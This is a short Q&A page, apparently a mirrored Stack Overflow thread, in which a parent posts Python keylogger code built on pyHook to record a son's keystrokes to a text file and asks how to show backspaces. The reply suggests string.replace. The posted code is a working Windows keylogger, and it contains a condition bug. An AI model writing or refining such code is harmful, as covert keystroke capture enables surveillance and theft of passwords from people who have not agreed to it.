Question

i'm using pyHook to capture key events to monitor my sons web activity and i have noticed that when i use the backspace key, it writes to a file as ascii, which appears as a little black box in notepad.

is there any way possible i can replace this black box with [BACKSPACE] or just backspace the characters inside the file in general, to read it easier?

Here is my code so far!

import win32api
import sys
import pythoncom
import pyHook
import os
from time import strftime
buffer = ''
if os.path.isfile('c:\\output.txt'):
    f = open('c:\\output.txt','a')
    f.write(strftime("\n\n%A, %d. %B %Y %I:%M%p\n\n"))
    f.close()
else:
    f = open('c:\\output.txt','w')
    f.write(strftime("%A, %d. %B %Y %I:%M%p\n\n"))
    f.close()

def OnKeyboardEvent(event):
    if event.Ascii == 5:
        sys.exit()
    elif event.Ascii != 0 or 8:
        keylogs = chr(event.Ascii)
    elif event.Ascii == 13:
        keylogs = keylogs + '\n'
    else:
        pass
    f = open('c:\\output.txt','a')
    f.write(keylogs)
    f.close()

while True:
    hm = pyHook.HookManager()
    hm.KeyDown = OnKeyboardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()
Était-ce utile?

La solution

How about plain string.replace?

string.replace(your_string, '\b', ' ')

Replaces all backspaces in your_string with spaces.

Licencié sous: CC-BY-SA avec attribution
Non affilié à StackOverflow
scroll top